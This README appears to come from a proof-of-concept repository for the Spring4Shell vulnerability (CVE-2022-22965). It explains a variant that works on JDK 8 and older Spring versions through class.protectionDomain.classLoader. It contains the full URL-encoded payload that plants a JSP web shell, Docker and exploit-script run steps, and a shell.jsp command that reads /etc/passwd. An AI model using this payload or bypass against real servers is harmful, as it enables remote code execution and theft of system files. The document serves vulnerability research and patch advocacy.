The content of this repository is for educational purposes only. The information on this repository should only be used to enhance the security for your computer systems and not for causing malicious or damaging attacks.
You should not misuse this information to gain unauthorized access into computer systems. Also be aware, performing hack attempts on computers that you do not own, without written permission from owners, is illegal.
I will not be responsible for any direct or indirect damage caused due to the usage of the information provided on this website.
The purpose of this repository is to highlight another attack vector of CVE-2022-22965 - Spring4Shell RCE vulnerability and stress out the importance of patching as soon as possible.
Spring official announcement identifies four requirements
- Running on JDK 9 or higher
- Apache Tomcat as the Servlet container.
- Packaged as a traditional WAR and deployed in a standalone Tomcat instance. Typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted.
- spring-webmvc or spring-webflux dependency.
- Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions.
It is also stated The vulnerability involves ClassLoader access, and therefore in addition to the specific attack reported with a Tomcat specific ClassLoader, other attacks may be possible against a different custom ClassLoader. This should not be taken lightly.
This code example show how this vulnerability can be exploited using JDK less than 8.
- docker build . -t spring4shell-demo:jdk8-spring3
- docker run -d -P --name poc-spring4shell-jdk8 spring4shell-demo:jdk8-spring3
- python3 exploit-jdk8.py --url http://localhost:$(docker port poc-spring4shell-jdk8 8080 | head -1 | cut -d ':' -f2)/customer/rest/customers
- Show /etc/passwd : curl --output passwd.txt http://localhost:$(docker port poc-spring4shell-jdk8 8080 | head -1 | cut -d ':' -f2)/shell.jsp?cmd=cat%20%2fetc%2fpasswd && cat passwd.txt
The JDK9 or higher prerequisite is set because the payload on the initial exploit uses the following path class.module.classLoader
to access the classloader.
The module concept, which is an abstraction encapsulation above the package, has been introduced in Java 9 which is why the path above can't work with previous JDK.
You can find the payload here
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://<uri>
A naïve idea would be to replace class.module.classLoader
by class.classLoader
on the exploit payload to directly access the classloader through the object class.
However, it does not work because Spring framework alread had counter measures for this. Looking at the patch commit for CVE-2022-22965, it is understandable :
The paths class.classLoader
and class.protectionDomain
are forbidden. The later one is required because otherwise you could access the classloader using class.protectionDomain.classLoader
.
The whole cause of the current vulnerability is that Spring beans binding checks were not updated after the introduction of the module feature on Java 9.
Now that we understand why the exploit can't be run on JDK lower than 9 and the checks performed by Spring. Can we bypass them ?
Let's try to apply the same principle : maybe those checks had been introduced in a not so distant version of Spring ?
Looking at the history of the class CachedIntrospectionResults.java
with Git, we can see that the check regarding the protectionDomain
has been added on version 3.2.6.RELEASE
Any Spring framework version older than 3.2.6.RELEASE
is thus vulnerable provided that you perform minor changes on the exploit payload :
Replace class.module.classLoader
by class.protectionDomain.classLoader
.
I've also found out (without analyzing it further) that it requires a Tomcat version lower than 8.5.57
to work.
Needless to say that if you had managed your technical debt and thoroughly upgraded your stack (3.2.6
was released on december 2013 and is no longer supported), it would not be a problem.
For this attack vector to work, you need :
- Running on JDK 4 or higher
- Apache Tomcat as the Servlet container.
- Apache Tomcat versions lower than 8.5.57
- Packaged as a traditional WAR and deployed in a standalone Tomcat instance. Typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted.
- spring-webmvc or spring-webflux dependency.
- Spring Framework versions lower than 3.2.6.RELEASE
Brandon Forbes : The exploit script and Dockerfile are largely derived from https://github.com/reznok/Spring4Shell-POC.git Oliver Drotbohm : The source code is largely derivated from https://github.com/odrotbohm/spring-rest Rapid7 : The exploit payload is based on the content of this article spring4shell-zero-day-vulnerability-in-spring-framework